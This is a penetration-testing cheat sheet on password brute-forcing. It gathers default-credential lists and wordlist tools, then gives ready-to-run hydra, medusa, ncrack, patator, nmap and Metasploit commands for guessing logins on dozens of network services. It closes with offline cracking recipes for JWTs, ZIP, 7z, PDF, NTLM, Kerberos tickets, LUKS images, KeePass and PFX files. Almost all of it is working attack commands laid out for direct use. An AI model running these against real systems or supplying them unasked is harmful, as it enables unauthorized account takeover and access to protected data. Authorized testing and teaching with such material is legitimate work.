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# Brute Force - CheatSheet
{% hint style="warning" %}
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{% endhint %}
## Default Credentials
**Search in google** for default credentials of the technology that is being used, or **try this links**:
* [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet)
* [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html)
* [**http://www.vulnerabilityassessment.co.uk/passwordsC.htm**](http://www.vulnerabilityassessment.co.uk/passwordsC.htm)
* [**https://192-168-1-1ip.mobi/default-router-passwords-list/**](https://192-168-1-1ip.mobi/default-router-passwords-list/)
* [**https://datarecovery.com/rd/default-passwords/**](https://datarecovery.com/rd/default-passwords/)
* [**https://bizuns.com/default-passwords-list**](https://bizuns.com/default-passwords-list)
* [**https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv**](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv)
* [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium)
* [**https://www.cirt.net/passwords**](https://www.cirt.net/passwords)
* [**http://www.passwordsdatabase.com/**](http://www.passwordsdatabase.com)
* [**https://many-passwords.github.io/**](https://many-passwords.github.io)
## **Create your own Dictionaries**
Find as much information about the target as you can and generate a custom dictionary. Tools that may help:
### Crunch
```bash
crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet
crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst)
@ Lower case alpha characters
, Upper case alpha characters
% Numeric characters
^ Special characters including spac
crunch 6 8 -t ,@@^^%%
```
### Cewl
```bash
cewl example.com -m 5 -w words.txt
```
### [CUPP](https://github.com/Mebus/cupp)
Generate passwords based on your knowledge of the victim (names, dates...)
```
python3 cupp.py -h
```
### [pydictor](https://github.com/LandGrey/pydictor)
### Wordlists
* [**https://github.com/danielmiessler/SecLists**](https://github.com/danielmiessler/SecLists)
* [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium)
* [**https://github.com/kaonashi-passwords/Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi)
* [**https://github.com/google/fuzzing/tree/master/dictionaries**](https://github.com/carlospolop/hacktricks/tree/95b16dc7eb952272459fc877e4c9d0777d746a16/google/fuzzing/tree/master/dictionaries/README.md)
* [**https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm**](https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm)
## Services
Ordered alphabetically by service name.
### AFP
```bash
nmap -p 548 --script afp-brute
msf> use auxiliary/scanner/afp/afp_login
msf> set BLANK_PASSWORDS true
msf> set USER_AS_PASS true
msf> set PASS_FILE
msf> set USER_FILE
msf> run
```
### AJP
```bash
nmap --script ajp-brute -p 8009
```
### Cassandra
```bash
nmap --script cassandra-brute -p 9160
```
### CouchDB
```bash
msf> use auxiliary/scanner/couchdb/couchdb_login
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
```
### Docker Registry
```
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/
```
### Elasticsearch
```
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /
```
### FTP
```bash
hydra -l root -P passwords.txt [-t 32] ftp
ncrack -p 21 --user root -P passwords.txt [-T 5]
medusa -u root -P 500-worst-passwords.txt -h -M ftp
```
### HTTP Generic Brute
#### [**WFuzz**](pentesting-web/web-tool-wfuzz.md)
### HTTP Basic Auth
```bash
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
# Use https-get mode for httpS
medusa -h -u -P -M http -m DIR:/path/to/auth -T 10
```
### HTTP - Post Form
```bash
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
# Use https-post-form mode for httpS
```
For http**s** you have to change from "http-post-form" to "**https-post-form"**
### **HTTP - CMS --** (W)ordpress, (J)oomla or (D)rupal or (M)oodle
```bash
cmsmap -f W/J/D/M -u a -p a https://wordpress.com
```
### IMAP
```bash
hydra -l USERNAME -P /path/to/passwords.txt -f imap -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f imap -V
nmap -sV --script imap-brute -p
```
### IRC
```bash
nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p
```
### ISCSI
```bash
nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260
```
### JWT
```bash
#hashcat
hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt
#https://github.com/Sjord/jwtcrack
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt
#John
john jwt.txt --wordlist=wordlists.txt --format=HMAC-SHA256
#https://github.com/ticarpi/jwt_tool
python3 jwt_tool.py -d wordlists.txt
#https://github.com/brendan-rius/c-jwt-cracker
./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc 1234567890 8
#https://github.com/mazen160/jwt-pwn
python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc -w wordlist.txt
#https://github.com/lmammino/jwt-cracker
jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6
```
### LDAP
```bash
nmap --script ldap-brute -p 389
```
### MQTT
```
ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v
```
### Mongo
```bash
nmap -sV --script mongodb-brute -n -p 27017
use auxiliary/scanner/mongodb/mongodb_login
```
### MySQL
```bash
# hydra
hydra -L usernames.txt -P pass.txt mysql
# msfconsole
msf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false
# medusa
medusa -h -u -P <-f | to stop medusa on first success attempt> -t -M mysql
```
### OracleSQL
```bash
patator oracle_login sid= host= user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017
./odat.py passwordguesser -s $SERVER -d $SID
./odat.py passwordguesser -s $MYSERVER -p $PORT --accounts-file accounts_multiple.txt
#msf1
msf> use admin/oracle/oracle_login
msf> set RHOSTS
msf> set RPORT 1521
msf> set SID
#msf2, this option uses nmap and it fails sometimes for some reason
msf> use scanner/oracle/oracle_login
msf> set RHOSTS
msf> set RPORTS 1521
msf> set SID
#nmap fails sometimes for some reson executing this script
nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=
```
In order to use **oracle\_login** with **patator** you need to **install**:
```bash
pip3 install cx_Oracle --upgrade
```
[Offline OracleSQL hash bruteforce](pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** and **11.2.0.3**):
```bash
nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30
```
### POP
```bash
hydra -l USERNAME -P /path/to/passwords.txt -f pop3 -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f pop3 -V
```
### PostgreSQL
```bash
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt postgres
medusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres
ncrack –v –U /root/Desktop/user.txt –P /root/Desktop/pass.txt :5432
patator pgsql_login host= user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txt
use auxiliary/scanner/postgres/postgres_login
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432
```
### PPTP
You can download the `.deb` package to install from [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/)
```bash
sudo dpkg -i thc-pptp-bruter*.deb #Install the package
cat rockyou.txt | thc-pptp-bruter –u
```
### RDP
```bash
ncrack -vv --user -P pwds.txt rdp://
hydra -V -f -L -P rdp://
```
### Redis
```bash
msf> use auxiliary/scanner/redis/redis_login
nmap --script redis-brute -p 6379
hydra –P /path/pass.txt redis://: # 6379 is the default
```
### Rexec
```bash
hydra -l -P rexec:// -v -V
```
### Rlogin
```bash
hydra -l -P rlogin:// -v -V
```
### Rsh
```bash
hydra -L rsh:// -v -V
```
[http://pentestmonkey.net/tools/misc/rsh-grind](http://pentestmonkey.net/tools/misc/rsh-grind)
### Rsync
```bash
nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873
```
### RTSP
```bash
hydra -l root -P passwords.txt rtsp
```
### SNMP
```bash
msf> use auxiliary/scanner/snmp/snmp_login
nmap -sU --script snmp-brute [--script-args snmp-brute.communitiesdb= ]
onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp
```
### SMB
```bash
nmap --script smb-brute -p 445
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
```
### SMTP
```bash
hydra -l -P /path/to/passwords.txt smtp -V
hydra -l -P /path/to/passwords.txt -s 587 -S -v -V #Port 587 for SMTP with SSL
```
### SOCKS
```bash
nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080
```
### SQL Server
```bash
#Use the NetBIOS name of the machine as domain
crackmapexec mssql -d -u usernames.txt -p passwords.txt
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt mssql
medusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssql
nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts #Use domain if needed. Be carefull with the number of password in the list, this could block accounts
msf> use auxiliary/scanner/mssql/mssql_login #Be carefull, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT
```
### SSH
```bash
hydra -l root -P passwords.txt [-t 32] ssh
ncrack -p 22 --user root -P passwords.txt [-T 5]
medusa -u root -P 500-worst-passwords.txt -h -M ssh
patator ssh_login host= port=22 user=root 0=/path/passwords.txt password=FILE0 -x ignore:mesg='Authentication failed'
```
### Telnet
```bash
hydra -l root -P passwords.txt [-t 32] telnet
ncrack -p 23 --user root -P passwords.txt [-T 5]
medusa -u root -P 500-worst-passwords.txt -h -M telnet
```
### VNC
```bash
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s vnc
medusa -h –u root -P /root/Desktop/pass.txt –M vnc
ncrack -V --user root -P /root/Desktop/pass.txt :>POR>T
patator vnc_login host= password=FILE0 0=/root/Desktop/pass.txt –t 1 –x retry:fgep!='Authentication failure' --max-retries 0 –x quit:code=0use auxiliary/scanner/vnc/vnc_login
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432
#Metasploit
use auxiliary/scanner/vnc/vnc_login
set RHOSTS
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst
```
### Winrm
```bash
crackmapexec winrm -d -u usernames.txt -p passwords.txt
```
## Local
### Online cracking databases
* [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 & SHA1)
* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hashes, WPA2 captures, and archives MSOffice, ZIP, PDF...)
* [https://crackstation.net/](https://crackstation.net) (Hashes)
* [https://md5decrypt.net/](https://md5decrypt.net) (MD5)
* [https://gpuhash.me/](https://gpuhash.me) (Hashes and file hashes)
* [https://hashes.org/search.php](https://hashes.org/search.php) (Hashes)
* [https://www.cmd5.org/](https://www.cmd5.org) (Hashes)
* [https://hashkiller.co.uk/Cracker](https://hashkiller.co.uk/Cracker) (MD5, NTLM, SHA1, MySQL5, SHA256, SHA512)
* [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5)
* [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com)
Check this out before trying to bruteforce a Hash.
### ZIP
```bash
#sudo apt-get install fcrackzip
fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip
```
```bash
zip2john file.zip > zip.john
john zip.john
```
```bash
#$zip2$*0*3*0*a56cb83812be3981ce2a83c581e4bc4f*4d7b*24*9af41ff662c29dfff13229eefad9a9043df07f2550b9ad7dfc7601f1a9e789b5ca402468*694b6ebb6067308bedcd*$/zip2$
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack
```
### 7z
```bash
cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z
```
```bash
#Download and install requirements for 7z2john
wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/7z2john.pl
apt-get install libcompress-raw-lzma-perl
./7z2john.pl file.7z > 7zhash.john
```
### PDF
```bash
apt-get install pdfcrack
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
#pdf2john didnt worked well, john didnt know which hash type was
# To permanently decrypt the pdf
sudo apt-get install qpdf
qpdf --password= --decrypt encrypted.pdf plaintext.pdf
```
### JWT
```bash
git clone https://github.com/Sjord/jwtcrack.git
cd jwtcrack
#Bruteforce using crackjwt.py
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt
#Bruteforce using john
python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john
john jwt.john #It does not work with Kali-John
```
### NTLM cracking
```bash
Format:USUARIO:ID:HASH_LM:HASH_NT:::
john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes
hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot
```
### Keepass
```bash
sudo apt-get install -y kpcli #Install keepass tools like keepass2john
keepass2john file.kdbx > hash #The keepass is only using password
keepass2john -k file.kdbx > hash # The keepas is also using a file as a needed credential
#The keepass can use password and/or a file as credentials, if it is using both you need to provide them to keepass2john
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```
### Keberoasting
```bash
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
```
### Lucks image
#### Method 1
Install: [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks)
```bash
bruteforce-luks -f ./list.txt ./backup.img
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt
```
#### Method 2
```bash
cryptsetup luksDump backup.img #Check that the payload offset is set to 4096
dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1
hashcat -m 14600 -a 0 luckshash wordlists/rockyou.txt
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt
```
Another Luks BF tutorial: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1)
### Mysql
```bash
#John hash format
:$mysqlna$*
dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d
```
### PGP/GPG Private key
```bash
gpg2john private_pgp.key #This will generate the hash, save it in a file
john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
```
### Open Office Pwd Protected Column
If you have xlsx file with a column protected by password you can unprotect it:
* **Upload it to google drive** and the password will be automatically removed
* To **remove** it **manually**:
```bash
unzip file.xlsx
grep -R "sheetProtection" ./*
# Find something like:
# Remove that line and rezip the file
zip -r file.xls .
```
### PFX Certificates
```bash
# From https://github.com/Ridter/p12tool
./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt
# From https://github.com/crackpkcs12/crackpkcs12
crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
```
## Tools
**Hash examples:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes)
### Hash-identifier
```bash
hash-identifier
>
```
### John mutation
Read _**/etc/john/john.conf**_ and configure it
```bash
john --wordlist=words.txt --rules --stdout > w_mutated.txt
john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
```
### Hashcat
```bash
hashcat --example-hashes | grep -B1 -A2 "NTLM"
```
Cracking Linux Hashes - /etc/shadow file
```
500 | md5crypt $1$, MD5(Unix) | Operating-Systems
3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems
7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems
1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems
```
Cracking Windows Hashes
```
3000 | LM | Operating-Systems
1000 | NTLM | Operating-Systems
```
Cracking Common Application Hashes
```
900 | MD4 | Raw Hash
0 | MD5 | Raw Hash
5100 | Half MD5 | Raw Hash
100 | SHA1 | Raw Hash
10800 | SHA-384 | Raw Hash
1400 | SHA-256 | Raw Hash
1700 | SHA-512 | Raw Hash
```
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